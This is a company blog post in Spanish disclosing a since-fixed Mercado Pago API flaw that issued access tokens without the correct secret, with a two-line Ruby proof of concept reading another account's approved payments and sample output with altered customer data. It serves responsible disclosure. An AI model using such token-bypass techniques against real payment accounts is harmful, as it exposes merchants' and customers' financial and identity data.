OmbuShop Crea Tu Tienda Online

Agujero de Seguridad en Mercado Pago

  • Facebook
  • Twitter
  • LinkedIn
  • StumbleUpon
  • Email
  • RSS

El 17 de abril descubrimos una vulnerabilidad en la seguridad de la API de Mercado Pago. Antes de revelar esta información, contactamos a Mercado Libre y les enviamos un reporte detallado del agujero de seguridad encontrado y cómo reproducirlo.

La vulnerabilidad permitía a cualquier persona obtener un token de acceso sin el uso de una correcta clave secreta para una cuenta.

Pueden ver cómo funciona el proceso de autenticación en Mercado Pago aquí:
https://www.mercadopago.com.ar/developers/en/api-docs/basics/authentication/

Luego de 7 horas, Mercado Pago arregló la vulnerabilidad en su entorno de producción.

Cómo reprodujimos el problema

Este ejemplo utiliza Ruby 2.1.2 y la gema de mercadopago.

<2.1.2 :001 > token = MercadoPago::Authentication.access_token("8872", "lalalala")>

El primer parámetro es el id del cliente (una cuenta en Mercado Pago) y el segundo parámetro es la clave secreta (sólo el dueño de la cuenta debería conocerlo).

Para el id del cliente usamos 8872, el mismo no nos pertenece, y para el “secret” usamos lalalala para mostrar que realmente no es la clave secreta correcta.

Con esa información, fuimos capaces de adquirir el token. Con él, se puede acceder a gran cantidad de información asociada con los pagos de la cuenta.

Por ejemplo:

<2.1.2 :002 > response = MercadoPago::Collection.search(token["access_token"], status: :approved)>

Con esta consulta, se pueden ver todas las transacciones aprobadas para una cuenta que no te pertenece.

Por ejemplo:

<=> {"paging"=>{"total"=>98, "limit"=>30, "offset"=>0},
    "results"=>[
      {"collection"=>{"id"=>753859418, "site_id"=>"MLA",
       "date_created"=>"2014-03-13T16:58:20.000-04:00",
       "date_approved"=>"2014-03-13T17:00:38.000-04:00",
       "last_modified"=>"2014-03-13T17:00:38.000-04:00",
       "money_release_date"=>"2014-03-15T17:00:38.000-04:00",
       "operation_type"=>"regular_payment",
       "collector_id"=>16605960, "sponsor_id"=>nil,
       "payer"=>{
         "nickname"=>"XOMBULABSX",
         "first_name"=>"JON",
         "last_name"=>"SNOW",
         "phone"=>{"area_code"=>"291", "number"=>"123412", "extension"=>nil},
         "email"=>"security@ombulabs.com",
         "id"=>83110350,
         "identification"=>{"type"=>nil, "number"=>nil}},
         "external_reference"=>"1448",
         "merchant_order_id"=>11567450,
         "reason"=>"Premium package", "currency_id"=>"ARS",
         "transaction_amount"=>81, "total_paid_amount"=>81,
         "shipping_cost"=>0,
         "account_money_amount"=>0,
         "mercadopago_fee"=>4.85,
         "net_received_amount"=>76.15,
         "marketplace_fee"=>nil,
         "coupon_id"=>nil,
         "coupon_amount"=>nil,
         "coupon_fee"=>nil,
         "finance_fee"=>0,
         "status"=>"approved",
         "status_detail"=>"accredited",
         "status_code"=>"00",
         "released"=>"yes",
         "payment_type"=>"credit_card",
         "installments"=>1,
         "installment_amount"=>nil,
         "deferred_period"=>nil,
         "cardholder"=>{"name"=>"JON SNOW", "identification"=>{"type"=>"DNI", "number"=>"26000000"}},
         "statement_descriptor"=>"WWW.MERCADOPAGO.COM",
         "transaction_order_id"=>nil, "marketplace"=>"NONE", "tags"=>[],
         "notification_url"=>nil}},
      {"collection"=>
        {"id"=>756415807,
        "site_id"=>"MLA",
        "date_created"=>"2014-03-20T15:42:35.000-04:00",
        "date_approved"=>"2014-03-20T15:42:35.000-04:00",
        "last_modified"=>"2014-03-20T15:42:35.000-04:00",
        "money_release_date"=>"2014-03-22T15:42:35.000-04:00",
        "operation_type"=>"regular_payment",
        "collector_id"=>16605960,
        "sponsor_id"=>nil,
        "payer"=>{
          "nickname"=>"YOURNICKNAME",
          "first_name"=>"Matias",
          "last_name"=>"OMBU",
          "phone"=>{"area_code"=>"291", "number"=>"4000000", "extension"=>nil},
          "email"=>"hola@ombulabs.com",
          "id"=>18878708,
          "identification"=>{"type"=>nil, "number"=>nil}},
        "external_reference"=>"1457",
        "merchant_order_id"=>13031193,
        "reason"=>"Premium package",
        "currency_id"=>"ARS",
        "transaction_amount"=>81,
        "total_paid_amount"=>81,
        "shipping_cost"=>0,
        "account_money_amount"=>0,
        "mercadopago_fee"=>4.85,
        "net_received_amount"=>76.15,
        "marketplace_fee"=>nil,
        "coupon_id"=>nil,
        "coupon_amount"=>nil,
        "coupon_fee"=>nil, "finance_fee"=>0,
        "status"=>"approved",
        "status_detail"=>"accredited",
        "status_code"=>"00",
        "released"=>"yes",
        "payment_type"=>"credit_card",
        "installments"=>1,
        "installment_amount"=>nil,
        "deferred_period"=>nil,
        "cardholder"=>
          {"name"=>nil,
           "identification"=>{"type"=>nil, "number"=>nil}},
        "statement_descriptor"=>"WWW.MERCADOPAGO.COM",
        "transaction_order_id"=>nil,
        "marketplace"=>"NONE",
        "tags"=>[],
        "notification_url"=>nil}},
        ...
      }>

La información sensible fue intencionalmente modificada.

Entonces, durante el tiempo que esta vulnerabilidad estuvo vigente (por lo menos 7 horas) un atacante pudo haberla usado para:

  • Encontrar información sobre todos los pagos que tu cuenta hubiera recibido desde que empezaras a utilizar el servicio.
  • Encontrar información sobre tus clientes, su DNI, nombre, número de teléfono.

Todo lo que el atacante necesitaba para aprovechar esta vulnerabilidad era el ID de cuenta de Mercado Pago y algo de conocimiento básico de tecnología.

Cómo descubrimos este problema

En OmbuShop, nuestros tests de integración usan sandbox de Mercado Pago para verificar que el monto que el cliente tiene que pagar es correcto. Sé que esto no es ideal (¿o lo es?) pero es tan real como se convierte para nuestros tests de integración.

Uno de nuestros tests verifica que no se pueda obtener determinada información con credenciales de usuario incorrectas. Cuando el test comenzó a fallar en nuestros tests continuos, comenzamos a investigar y encontramos este agujero de seguridad.

Qué es lo que me preocupa

Es difícil entender que una pasarela de pagos tan importante nunca haya publicado información acerca de este agujero de seguridad. Yo esperaría que ellos supieran si alguna información fuera accesible para gente que no tiene acceso a ella.

Ellos pueden verificar sus logs de acceso y ver quién accedió a su API usando un secreto que no era el correcto. Luego, podrían informar a sus clientes acerca del problema y advertirles acerca de la situación.

Mercado Pago, un producto de Mercado Libre ($MELI) que es una empresa que cotiza en bolsa, ni siquiera dispone de información pública de las versiones de su API ni tests de integración continua que detecten una vulnerabilidad tan obvia.

Tal vez sólo estoy acostumbrado a los reportes de vulnerabilidad publicados por Github acerca de sus vulnerabilidades. Tal vez Github es mucho más serio que Mercado Pago acerca de su privacidad y seguridad online.

Creo que Mercado Pago necesita ponerse al día y ser más transparente acerca de su plataforma y la privacidad de sus usuarios.

Un buen comienzo sería implementar una mejor forma de recibir reportes de vulnerabilidad en su seguridad y revelar información acerca de sus problemas de seguridad.

Hasta el día de hoy, no han revelado información alguna acerca de este agujero de seguridad y resulta muy difícil encontrar un modo de reportarles un problema de seguridad.